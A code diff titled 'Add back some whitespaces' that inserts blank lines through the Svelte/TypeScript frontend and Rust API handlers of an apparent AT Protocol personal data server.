Add back some whitespaces

frontend/src/App.svelte

···
   import Settings from './routes/Settings.svelte'
   import Notifications from './routes/Notifications.svelte'
   import RepoExplorer from './routes/RepoExplorer.svelte'
+
   const auth = getAuthState()
+
   $effect(() => {
     initAuth()
   })
+
   function getComponent(path: string) {
     switch (path) {
       case '/login':
···
         return auth.session ? Dashboard : Login
     }
   }
+
   let currentPath = $derived(getCurrentPath())
   let CurrentComponent = $derived(getComponent(currentPath))
 </script>
+
 <main>
   {#if auth.loading}
     <div class="loading">
···
     <CurrentComponent />
   {/if}
 </main>
+
 <style>
   :global(:root) {
     --bg-primary: #fafafa;
···
     --warning-bg: #ffd;
     --warning-text: #660;
   }
+
   @media (prefers-color-scheme: dark) {
     :global(:root) {
       --bg-primary: #1a1a1a;
···
       --warning-text: #c6c67b;
     }
   }
+
   :global(body) {
     margin: 0;
     font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
···
     color: var(--text-primary);
     background: var(--bg-primary);
   }
+
   :global(*) {
     box-sizing: border-box;
   }
+
   main {
     min-height: 100vh;
     background: var(--bg-primary);
   }
+
   .loading {
     display: flex;
     align-items: center;

frontend/src/lib/api.ts

···
 const API_BASE = '/xrpc'
+
 export class ApiError extends Error {
   public did?: string
   constructor(public status: number, public error: string, message: string, did?: string) {
···
     this.did = did
   }
 }
+
 async function xrpc<T>(method: string, options?: {
   method?: 'GET' | 'POST'
   params?: Record<string, string>
···
   }
   return res.json()
 }
+
 export interface Session {
   did: string
   handle: string
···
   accessJwt: string
   refreshJwt: string
 }
+
 export interface AppPassword {
   name: string
   createdAt: string
 }
+
 export interface InviteCode {
   code: string
   available: number
···
   createdAt: string
   uses: { usedBy: string; usedAt: string }[]
 }
+
 export type VerificationChannel = 'email' | 'discord' | 'telegram' | 'signal'
+
 export interface CreateAccountParams {
   handle: string
   email: string
···
   telegramUsername?: string
   signalNumber?: string
 }
+
 export interface CreateAccountResult {
   handle: string
   did: string
   verificationRequired: boolean
   verificationChannel: string
 }
+
 export interface ConfirmSignupResult {
   accessJwt: string
   refreshJwt: string
···
   preferredChannel?: string
   preferredChannelVerified?: boolean
 }
+
 export const api = {
   async createAccount(params: CreateAccountParams): Promise<CreateAccountResult> {
     return xrpc('com.atproto.server.createAccount', {
···
       },
     })
   },
+
   async confirmSignup(did: string, verificationCode: string): Promise<ConfirmSignupResult> {
     return xrpc('com.atproto.server.confirmSignup', {
       method: 'POST',
       body: { did, verificationCode },
     })
   },
+
   async resendVerification(did: string): Promise<{ success: boolean }> {
     return xrpc('com.atproto.server.resendVerification', {
       method: 'POST',
       body: { did },
     })
   },
+
   async createSession(identifier: string, password: string): Promise<Session> {
     return xrpc('com.atproto.server.createSession', {
       method: 'POST',
       body: { identifier, password },
     })
   },
+
   async getSession(token: string): Promise<Session> {
     return xrpc('com.atproto.server.getSession', { token })
   },
+
   async refreshSession(refreshJwt: string): Promise<Session> {
     return xrpc('com.atproto.server.refreshSession', {
       method: 'POST',
       token: refreshJwt,
     })
   },
+
   async deleteSession(token: string): Promise<void> {
     await xrpc('com.atproto.server.deleteSession', {
       method: 'POST',
       token,
     })
   },
+
   async listAppPasswords(token: string): Promise<{ passwords: AppPassword[] }> {
     return xrpc('com.atproto.server.listAppPasswords', { token })
   },
+
   async createAppPassword(token: string, name: string): Promise<{ name: string; password: string; createdAt: string }> {
     return xrpc('com.atproto.server.createAppPassword', {
       method: 'POST',
···
       body: { name },
     })
   },
+
   async revokeAppPassword(token: string, name: string): Promise<void> {
     await xrpc('com.atproto.server.revokeAppPassword', {
       method: 'POST',
···
       body: { name },
     })
   },
+
   async getAccountInviteCodes(token: string): Promise<{ codes: InviteCode[] }> {
     return xrpc('com.atproto.server.getAccountInviteCodes', { token })
   },
+
   async createInviteCode(token: string, useCount: number = 1): Promise<{ code: string }> {
     return xrpc('com.atproto.server.createInviteCode', {
       method: 'POST',
···
       body: { useCount },
     })
   },
+
   async requestPasswordReset(email: string): Promise<void> {
     await xrpc('com.atproto.server.requestPasswordReset', {
       method: 'POST',
       body: { email },
     })
   },
+
   async resetPassword(token: string, password: string): Promise<void> {
     await xrpc('com.atproto.server.resetPassword', {
       method: 'POST',
       body: { token, password },
     })
   },
+
   async requestEmailUpdate(token: string): Promise<{ tokenRequired: boolean }> {
     return xrpc('com.atproto.server.requestEmailUpdate', {
       method: 'POST',
       token,
     })
   },
+
   async updateEmail(token: string, email: string, emailToken?: string): Promise<void> {
     await xrpc('com.atproto.server.updateEmail', {
       method: 'POST',
···
       body: { email, token: emailToken },
     })
   },
+
   async updateHandle(token: string, handle: string): Promise<void> {
     await xrpc('com.atproto.identity.updateHandle', {
       method: 'POST',
···
       body: { handle },
     })
   },
+
   async requestAccountDelete(token: string): Promise<void> {
     await xrpc('com.atproto.server.requestAccountDelete', {
       method: 'POST',
       token,
     })
   },
+
   async deleteAccount(did: string, password: string, deleteToken: string): Promise<void> {
     await xrpc('com.atproto.server.deleteAccount', {
       method: 'POST',
       body: { did, password, token: deleteToken },
     })
   },
+
   async describeServer(): Promise<{
     availableUserDomains: string[]
     inviteCodeRequired: boolean
···
   }> {
     return xrpc('com.atproto.server.describeServer')
   },
+
   async getNotificationPrefs(token: string): Promise<{
     preferredChannel: string
     email: string
···
   }> {
     return xrpc('com.bspds.account.getNotificationPrefs', { token })
   },
+
   async updateNotificationPrefs(token: string, prefs: {
     preferredChannel?: string
     discordId?: string
···
       body: prefs,
     })
   },
+
   async describeRepo(token: string, repo: string): Promise<{
     handle: string
     did: string
···
       params: { repo },
     })
   },
+
   async listRecords(token: string, repo: string, collection: string, options?: {
     limit?: number
     cursor?: string
···
     if (options?.reverse) params.reverse = 'true'
     return xrpc('com.atproto.repo.listRecords', { token, params })
   },
+
   async getRecord(token: string, repo: string, collection: string, rkey: string): Promise<{
     uri: string
     cid: string
···
       params: { repo, collection, rkey },
     })
   },
+
   async createRecord(token: string, repo: string, collection: string, record: unknown, rkey?: string): Promise<{
     uri: string
     cid: string
···
       body: { repo, collection, record, rkey },
     })
   },
+
   async putRecord(token: string, repo: string, collection: string, rkey: string, record: unknown): Promise<{
     uri: string
     cid: string
···
       body: { repo, collection, rkey, record },
     })
   },
+
   async deleteRecord(token: string, repo: string, collection: string, rkey: string): Promise<void> {
     await xrpc('com.atproto.repo.deleteRecord', {
       method: 'POST',

frontend/src/lib/auth.svelte.ts

···
 import { api, type Session, type CreateAccountParams, type CreateAccountResult, ApiError } from './api'
+
 const STORAGE_KEY = 'bspds_session'
+
 interface AuthState {
   session: Session | null
   loading: boolean
   error: string | null
 }
+
 let state = $state<AuthState>({
   session: null,
   loading: true,
   error: null,
 })
+
 function saveSession(session: Session | null) {
   if (session) {
     localStorage.setItem(STORAGE_KEY, JSON.stringify(session))
···
     localStorage.removeItem(STORAGE_KEY)
   }
 }
+
 function loadSession(): Session | null {
   const stored = localStorage.getItem(STORAGE_KEY)
   if (stored) {
···
   }
   return null
 }
+
 export async function initAuth() {
   state.loading = true
   state.error = null
···
   }
   state.loading = false
 }
+
 export async function login(identifier: string, password: string): Promise<void> {
   state.loading = true
   state.error = null
···
     state.loading = false
   }
 }
+
 export async function register(params: CreateAccountParams): Promise<CreateAccountResult> {
   try {
     const result = await api.createAccount(params)
···
     throw e
   }
 }
+
 export async function confirmSignup(did: string, verificationCode: string): Promise<void> {
   state.loading = true
   state.error = null
···
     state.loading = false
   }
 }
+
 export async function resendVerification(did: string): Promise<void> {
   try {
     await api.resendVerification(did)
···
     throw new Error('Failed to resend verification code')
   }
 }
+
 export async function logout(): Promise<void> {
   if (state.session) {
     try {
···
   state.session = null
   saveSession(null)
 }
+
 export function getAuthState() {
   return state
 }
+
 export function getToken(): string | null {
   return state.session?.accessJwt ?? null
 }
+
 export function isAuthenticated(): boolean {
   return state.session !== null
 }
+
 export function _testSetState(newState: { session: Session | null; loading: boolean; error: string | null }) {
   state.session = newState.session
   state.loading = newState.loading
   state.error = newState.error
 }
+
 export function _testReset() {
   state.session = null
   state.loading = true

frontend/src/lib/router.svelte.ts

···
 let currentPath = $state(window.location.hash.slice(1) || '/')
+
 window.addEventListener('hashchange', () => {
   currentPath = window.location.hash.slice(1) || '/'
 })
+
 export function navigate(path: string) {
   window.location.hash = path
 }
+
 export function getCurrentPath() {
   return currentPath
 }

frontend/src/main.ts

···
 import App from './App.svelte'
 import { mount } from 'svelte'
+
 const app = mount(App, {
   target: document.getElementById('app')!,
 })
+
 export default app

frontend/src/tests/setup.ts

···
 import '@testing-library/jest-dom/vitest'
 import { vi, beforeEach, afterEach } from 'vitest'
 import { _testReset } from '../lib/auth.svelte'
+
 let locationHash = ''
+
 Object.defineProperty(window, 'location', {
   value: {
     get hash() { return locationHash },
···
   writable: true,
   configurable: true,
 })
+
 beforeEach(() => {
   vi.clearAllMocks()
   localStorage.clear()
···
   locationHash = ''
   _testReset()
 })
+
 afterEach(() => {
   vi.restoreAllMocks()
 })

frontend/src/tests/utils.ts

···
 import { render, type RenderResult } from '@testing-library/svelte'
 import { tick } from 'svelte'
 import type { ComponentType } from 'svelte'
+
 export async function renderAndWait<T extends ComponentType>(
   component: T,
   options?: Parameters<typeof render>[1]
···
   await new Promise(resolve => setTimeout(resolve, 0))
   return result
 }
+
 export async function waitForElement(
   queryFn: () => HTMLElement | null,
   timeout = 1000
···
   }
   throw new Error('Element not found within timeout')
 }
+
 export async function waitForElementToDisappear(
   queryFn: () => HTMLElement | null,
   timeout = 1000
···
   }
   throw new Error('Element still present after timeout')
 }
+
 export async function waitForText(
   container: HTMLElement,
   text: string | RegExp,
···
   }
   throw new Error(`Text "${text}" not found within timeout`)
 }
+
 export function mockLocalStorage(initialData: Record<string, string> = {}): void {
   const store: Record<string, string> = { ...initialData }
   Object.defineProperty(window, 'localStorage', {
···
     writable: true,
   })
 }
+
 export function setAuthState(session: {
   did: string
   handle: string
···
 }): void {
   localStorage.setItem('session', JSON.stringify(session))
 }
+
 export function clearAuthState(): void {
   localStorage.removeItem('session')
 }

src/api/actor/mod.rs

···
 mod preferences;
 mod profile;
+
 pub use preferences::{get_preferences, put_preferences};
 pub use profile::{get_profile, get_profiles};

src/api/actor/preferences.rs

···
 };
 use serde::{Deserialize, Serialize};
 use serde_json::{json, Value};
+
 const APP_BSKY_NAMESPACE: &str = "app.bsky";
 const MAX_PREFERENCES_COUNT: usize = 100;
 const MAX_PREFERENCE_SIZE: usize = 10_000;
+
 #[derive(Serialize)]
 pub struct GetPreferencesOutput {
     pub preferences: Vec<Value>,
···
         .collect();
     (StatusCode::OK, Json(GetPreferencesOutput { preferences })).into_response()
 }
+
 #[derive(Deserialize)]
 pub struct PutPreferencesInput {
     pub preferences: Vec<Value>,

src/api/actor/profile.rs

···
 use serde_json::{json, Value};
 use std::collections::HashMap;
 use tracing::{error, info};
+
 #[derive(Deserialize)]
 pub struct GetProfileParams {
     pub actor: String,
 }
+
 #[derive(Deserialize)]
 pub struct GetProfilesParams {
     pub actors: String,
 }
+
 #[derive(Serialize, Deserialize, Clone)]
 #[serde(rename_all = "camelCase")]
 pub struct ProfileViewDetailed {
···
     #[serde(flatten)]
     pub extra: HashMap<String, Value>,
 }
+
 #[derive(Serialize, Deserialize)]
 pub struct GetProfilesOutput {
     pub profiles: Vec<ProfileViewDetailed>,
 }
+
 async fn get_local_profile_record(state: &AppState, did: &str) -> Option<Value> {
     let user_id: uuid::Uuid = sqlx::query_scalar!("SELECT id FROM users WHERE did = $1", did)
         .fetch_optional(&state.db)
···
     let block_bytes = state.block_store.get(&cid).await.ok()??;
     serde_ipld_dagcbor::from_slice(&block_bytes).ok()
 }
+
 fn munge_profile_with_local(profile: &mut ProfileViewDetailed, local_record: &Value) {
     if let Some(display_name) = local_record.get("displayName").and_then(|v| v.as_str()) {
         profile.display_name = Some(display_name.to_string());
···
         profile.description = Some(description.to_string());
     }
 }
+
 async fn proxy_to_appview(
     method: &str,
     params: &HashMap<String, String>,
···
         }
     }
 }
+
 pub async fn get_profile(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     }
     (StatusCode::OK, Json(profile)).into_response()
 }
+
 pub async fn get_profiles(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/admin/account/delete.rs

···
 use serde::Deserialize;
 use serde_json::json;
 use tracing::{error, warn};
+
 #[derive(Deserialize)]
 pub struct DeleteAccountInput {
     pub did: String,
 }
+
 pub async fn delete_account(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/admin/account/email.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::{error, warn};
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct SendEmailInput {
···
     pub subject: Option<String>,
     pub comment: Option<String>,
 }
+
 #[derive(Serialize)]
 pub struct SendEmailOutput {
     pub sent: bool,
 }
+
 pub async fn send_email(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/admin/account/info.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::error;
+
 #[derive(Deserialize)]
 pub struct GetAccountInfoParams {
     pub did: String,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct AccountInfo {
···
     pub email_confirmed_at: Option<String>,
     pub deactivated_at: Option<String>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct GetAccountInfosOutput {
     pub infos: Vec<AccountInfo>,
 }
+
 pub async fn get_account_info(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct GetAccountInfosParams {
     pub dids: String,
 }
+
 pub async fn get_account_infos(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/admin/account/mod.rs

···
 mod info;
 mod profile;
 mod update;
+
 pub use delete::{delete_account, DeleteAccountInput};
 pub use email::{send_email, SendEmailInput, SendEmailOutput};
 pub use info::{

src/api/admin/account/update.rs

···
 use serde::Deserialize;
 use serde_json::json;
 use tracing::error;
+
 #[derive(Deserialize)]
 pub struct UpdateAccountEmailInput {
     pub account: String,
     pub email: String,
 }
+
 pub async fn update_account_email(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct UpdateAccountHandleInput {
     pub did: String,
     pub handle: String,
 }
+
 pub async fn update_account_handle(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct UpdateAccountPasswordInput {
     pub did: String,
     pub password: String,
 }
+
 pub async fn update_account_password(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/admin/invite.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::error;
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct DisableInviteCodesInput {
     pub codes: Option<Vec<String>>,
     pub accounts: Option<Vec<String>>,
 }
+
 pub async fn disable_invite_codes(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     }
     (StatusCode::OK, Json(json!({}))).into_response()
 }
+
 #[derive(Deserialize)]
 pub struct GetInviteCodesParams {
     pub sort: Option<String>,
     pub limit: Option<i64>,
     pub cursor: Option<String>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct InviteCodeInfo {
···
     pub created_at: String,
     pub uses: Vec<InviteCodeUseInfo>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct InviteCodeUseInfo {
     pub used_by: String,
     pub used_at: String,
 }
+
 #[derive(Serialize)]
 pub struct GetInviteCodesOutput {
     pub cursor: Option<String>,
     pub codes: Vec<InviteCodeInfo>,
 }
+
 pub async fn get_invite_codes(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     )
         .into_response()
 }
+
 #[derive(Deserialize)]
 pub struct DisableAccountInvitesInput {
     pub account: String,
 }
+
 pub async fn disable_account_invites(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct EnableAccountInvitesInput {
     pub account: String,
 }
+
 pub async fn enable_account_invites(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/admin/mod.rs

···
 pub mod account;
 pub mod invite;
 pub mod status;
+
 pub use account::{
     create_profile, create_record_admin, delete_account, get_account_info, get_account_infos,
     send_email, update_account_email, update_account_handle, update_account_password,

src/api/admin/status.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::{error, warn};
+
 #[derive(Deserialize)]
 pub struct GetSubjectStatusParams {
     pub did: Option<String>,
     pub uri: Option<String>,
     pub blob: Option<String>,
 }
+
 #[derive(Serialize)]
 pub struct SubjectStatus {
     pub subject: serde_json::Value,
     pub takedown: Option<StatusAttr>,
     pub deactivated: Option<StatusAttr>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct StatusAttr {
     pub applied: bool,
     pub r#ref: Option<String>,
 }
+
 pub async fn get_subject_status(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     )
         .into_response()
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct UpdateSubjectStatusInput {
···
     pub takedown: Option<StatusAttrInput>,
     pub deactivated: Option<StatusAttrInput>,
 }
+
 #[derive(Deserialize)]
 pub struct StatusAttrInput {
     pub apply: bool,
     pub r#ref: Option<String>,
 }
+
 pub async fn update_subject_status(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/error.rs

···
     response::{IntoResponse, Response},
 };
 use serde::Serialize;
+
 #[derive(Debug, Serialize)]
 struct ErrorBody {
     error: &'static str,
     #[serde(skip_serializing_if = "Option::is_none")]
     message: Option<String>,
 }
+
 #[derive(Debug)]
 pub enum ApiError {
     InternalError,
···
     UpstreamUnavailable(String),
     UpstreamError { status: u16, error: Option<String>, message: Option<String> },
 }
+
 impl ApiError {
     fn status_code(&self) -> StatusCode {
         match self {
···
         Self::UpstreamError { status, error: None, message: None }
     }
 }
+
 impl IntoResponse for ApiError {
     fn into_response(self) -> Response {
         let body = ErrorBody {
···
         (self.status_code(), Json(body)).into_response()
     }
 }
+
 impl From<sqlx::Error> for ApiError {
     fn from(e: sqlx::Error) -> Self {
         tracing::error!("Database error: {:?}", e);
         Self::DatabaseError
     }
 }
+
 impl From<crate::auth::TokenValidationError> for ApiError {
     fn from(e: crate::auth::TokenValidationError) -> Self {
         match e {
···
         }
     }
 }
+
 impl From<crate::util::DbLookupError> for ApiError {
     fn from(e: crate::util::DbLookupError) -> Self {
         match e {

src/api/feed/actor_likes.rs

···
 use serde_json::Value;
 use std::collections::HashMap;
 use tracing::warn;
+
 #[derive(Deserialize)]
 pub struct GetActorLikesParams {
     pub actor: String,
     pub limit: Option<u32>,
     pub cursor: Option<String>,
 }
+
 fn insert_likes_into_feed(feed: &mut Vec<FeedViewPost>, likes: &[RecordDescript<LikeRecord>]) {
     for like in likes {
         let like_time = &like.indexed_at.to_rfc3339();
···
         );
     }
 }
+
 pub async fn get_actor_likes(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/feed/author_feed.rs

···
 use serde::Deserialize;
 use std::collections::HashMap;
 use tracing::warn;
+
 #[derive(Deserialize)]
 pub struct GetAuthorFeedParams {
     pub actor: String,
···
     #[serde(rename = "includePins")]
     pub include_pins: Option<bool>,
 }
+
 fn update_author_profile_in_feed(
     feed: &mut [FeedViewPost],
     author_did: &str,
···
         }
     }
 }
+
 pub async fn get_author_feed(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/feed/custom_feed.rs

···
 use serde::Deserialize;
 use std::collections::HashMap;
 use tracing::{error, info};
+
 #[derive(Deserialize)]
 pub struct GetFeedParams {
     pub feed: String,
     pub limit: Option<u32>,
     pub cursor: Option<String>,
 }
+
 pub async fn get_feed(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/feed/mod.rs

···
 mod custom_feed;
 mod post_thread;
 mod timeline;
+
 pub use actor_likes::get_actor_likes;
 pub use author_feed::get_author_feed;
 pub use custom_feed::get_feed;

src/api/feed/post_thread.rs

···
 use serde_json::{json, Value};
 use std::collections::HashMap;
 use tracing::warn;
+
 #[derive(Deserialize)]
 pub struct GetPostThreadParams {
     pub uri: String,
···
     #[serde(rename = "parentHeight")]
     pub parent_height: Option<u32>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ThreadViewPost {
···
     #[serde(flatten)]
     pub extra: HashMap<String, Value>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(untagged)]
 pub enum ThreadNode {
···
     NotFound(ThreadNotFound),
     Blocked(ThreadBlocked),
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ThreadNotFound {
···
     pub uri: String,
     pub not_found: bool,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ThreadBlocked {
···
     pub blocked: bool,
     pub author: Value,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct PostThreadOutput {
     pub thread: ThreadNode,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub threadgate: Option<Value>,
 }
+
 const MAX_THREAD_DEPTH: usize = 10;
+
 fn add_replies_to_thread(
     thread: &mut ThreadViewPost,
     local_posts: &[RecordDescript<PostRecord>],
···
         }
     }
 }
+
 pub async fn get_post_thread(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     let lag = get_local_lag(&local_records);
     format_munged_response(thread_output, lag)
 }
+
 async fn handle_not_found(
     state: &AppState,
     uri: &str,

src/api/feed/timeline.rs

···
 use serde_json::{json, Value};
 use std::collections::HashMap;
 use tracing::warn;
+
 #[derive(Deserialize)]
 pub struct GetTimelineParams {
     pub algorithm: Option<String>,
     pub limit: Option<u32>,
     pub cursor: Option<String>,
 }
+
 pub async fn get_timeline(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     }
     get_timeline_local_only(&state, &auth_user.did).await
 }
+
 async fn get_timeline_with_appview(
     state: &AppState,
     headers: &axum::http::HeaderMap,
···
     let lag = get_local_lag(&local_records);
     format_munged_response(feed_output, lag)
 }
+
 async fn get_timeline_local_only(state: &AppState, auth_did: &str) -> Response {
     let user_id: uuid::Uuid = match sqlx::query_scalar!(
         "SELECT id FROM users WHERE did = $1",

src/api/identity/account.rs

···
 use serde_json::json;
 use std::sync::Arc;
 use tracing::{error, info, warn};
+
 fn extract_client_ip(headers: &HeaderMap) -> String {
     if let Some(forwarded) = headers.get("x-forwarded-for") {
         if let Ok(value) = forwarded.to_str() {
···
     }
     "unknown".to_string()
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CreateAccountInput {
···
     pub telegram_username: Option<String>,
     pub signal_number: Option<String>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CreateAccountOutput {
···
     pub verification_required: bool,
     pub verification_channel: String,
 }
+
 pub async fn create_account(
     State(state): State<AppState>,
     headers: HeaderMap,

src/api/identity/did.rs

···
 use serde::Deserialize;
 use serde_json::json;
 use tracing::{error, warn};
+
 #[derive(Deserialize)]
 pub struct ResolveHandleParams {
     pub handle: String,
 }
+
 pub async fn resolve_handle(
     State(state): State<AppState>,
     Query(params): Query<ResolveHandleParams>,
···
         }
     }
 }
+
 pub fn get_jwk(key_bytes: &[u8]) -> Result<serde_json::Value, &'static str> {
     let secret_key = SecretKey::from_slice(key_bytes).map_err(|_| "Invalid key length")?;
     let public_key = secret_key.public_key();
···
         "y": y_b64
     }))
 }
+
 pub async fn well_known_did(State(_state): State<AppState>) -> impl IntoResponse {
     let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
     // Kinda for local dev, encode hostname if it contains port
···
         }]
     }))
 }
+
 pub async fn user_did_doc(State(state): State<AppState>, Path(handle): Path<String>) -> Response {
     let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
     let user = sqlx::query!("SELECT id, did FROM users WHERE handle = $1", handle)
···
         }]
     })).into_response()
 }
+
 pub async fn verify_did_web(did: &str, hostname: &str, handle: &str) -> Result<(), String> {
     let expected_prefix = if hostname.contains(':') {
         format!("did:web:{}", hostname.replace(':', "%3A"))
···
         }
     }
 }
+
 #[derive(serde::Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct GetRecommendedDidCredentialsOutput {
···
     pub verification_methods: VerificationMethods,
     pub services: Services,
 }
+
 #[derive(serde::Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct VerificationMethods {
     pub atproto: String,
 }
+
 #[derive(serde::Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct Services {
     pub atproto_pds: AtprotoPds,
 }
+
 #[derive(serde::Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct AtprotoPds {
···
     pub service_type: String,
     pub endpoint: String,
 }
+
 pub async fn get_recommended_did_credentials(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     )
         .into_response()
 }
+
 #[derive(Deserialize)]
 pub struct UpdateHandleInput {
     pub handle: String,
 }
+
 pub async fn update_handle(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 pub async fn well_known_atproto_did(
     State(state): State<AppState>,
     headers: HeaderMap,

src/api/identity/mod.rs

···
 pub mod account;
 pub mod did;
 pub mod plc;
+
 pub use account::create_account;
 pub use did::{
     get_recommended_did_credentials, resolve_handle, update_handle, user_did_doc, well_known_did,

src/api/identity/plc/mod.rs

···
 mod request;
 mod sign;
 mod submit;
+
 pub use request::request_plc_operation_signature;
 pub use sign::{sign_plc_operation, ServiceInput, SignPlcOperationInput, SignPlcOperationOutput};
 pub use submit::{submit_plc_operation, SubmitPlcOperationInput};

src/api/identity/plc/request.rs

···
 use chrono::{Duration, Utc};
 use serde_json::json;
 use tracing::{error, info, warn};
+
 fn generate_plc_token() -> String {
     crate::util::generate_token_code()
 }
+
 pub async fn request_plc_operation_signature(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/identity/plc/sign.rs

···
 use serde_json::{json, Value};
 use std::collections::HashMap;
 use tracing::{error, info, warn};
+
 #[derive(Debug, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct SignPlcOperationInput {
···
     pub verification_methods: Option<HashMap<String, String>>,
     pub services: Option<HashMap<String, ServiceInput>>,
 }
+
 #[derive(Debug, Deserialize, Clone)]
 pub struct ServiceInput {
     #[serde(rename = "type")]
     pub service_type: String,
     pub endpoint: String,
 }
+
 #[derive(Debug, Serialize)]
 pub struct SignPlcOperationOutput {
     pub operation: Value,
 }
+
 pub async fn sign_plc_operation(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/identity/plc/submit.rs

···
 use serde::Deserialize;
 use serde_json::{json, Value};
 use tracing::{error, info, warn};
+
 #[derive(Debug, Deserialize)]
 pub struct SubmitPlcOperationInput {
     pub operation: Value,
 }
+
 pub async fn submit_plc_operation(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/mod.rs

···
 pub mod server;
 pub mod temp;
 pub mod validation;
+
 pub use error::ApiError;
 pub use proxy_client::{proxy_client, validate_at_uri, validate_did, validate_limit, AtUriParts};

src/api/moderation/mod.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::{Value, json};
 use tracing::error;
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CreateReportInput {
···
     pub reason: Option<String>,
     pub subject: Value,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CreateReportOutput {
···
     pub reported_by: String,
     pub created_at: String,
 }
+
 pub async fn create_report(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/notification/mod.rs

···
 mod register_push;
+
 pub use register_push::register_push;

src/api/notification/register_push.rs

···
 use serde::Deserialize;
 use serde_json::json;
 use tracing::{error, info};
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct RegisterPushInput {
···
     pub platform: String,
     pub app_id: String,
 }
+
 const VALID_PLATFORMS: &[&str] = &["ios", "android", "web"];
+
 pub async fn register_push(
     State(state): State<AppState>,
     headers: HeaderMap,

src/api/notification_prefs.rs

···
 use tracing::info;
 use crate::auth::validate_bearer_token;
 use crate::state::AppState;
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct NotificationPrefsResponse {
···
     pub signal_number: Option<String>,
     pub signal_verified: bool,
 }
+
 pub async fn get_notification_prefs(
     State(state): State<AppState>,
     headers: HeaderMap,
···
     })
     .into_response()
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct UpdateNotificationPrefsInput {
···
     pub telegram_username: Option<String>,
     pub signal_number: Option<String>,
 }
+
 pub async fn update_notification_prefs(
     State(state): State<AppState>,
     headers: HeaderMap,

src/api/proxy.rs

···
 use crate::api::proxy_client::proxy_client;
 use std::collections::HashMap;
 use tracing::{error, info};
+
 pub async fn proxy_handler(
     State(state): State<AppState>,
     Path(method): Path<String>,

src/api/proxy_client.rs

···
 use std::sync::OnceLock;
 use std::time::Duration;
 use tracing::warn;
+
 pub const DEFAULT_HEADERS_TIMEOUT: Duration = Duration::from_secs(10);
 pub const DEFAULT_BODY_TIMEOUT: Duration = Duration::from_secs(30);
 pub const DEFAULT_CONNECT_TIMEOUT: Duration = Duration::from_secs(5);
 pub const MAX_RESPONSE_SIZE: u64 = 10 * 1024 * 1024;
+
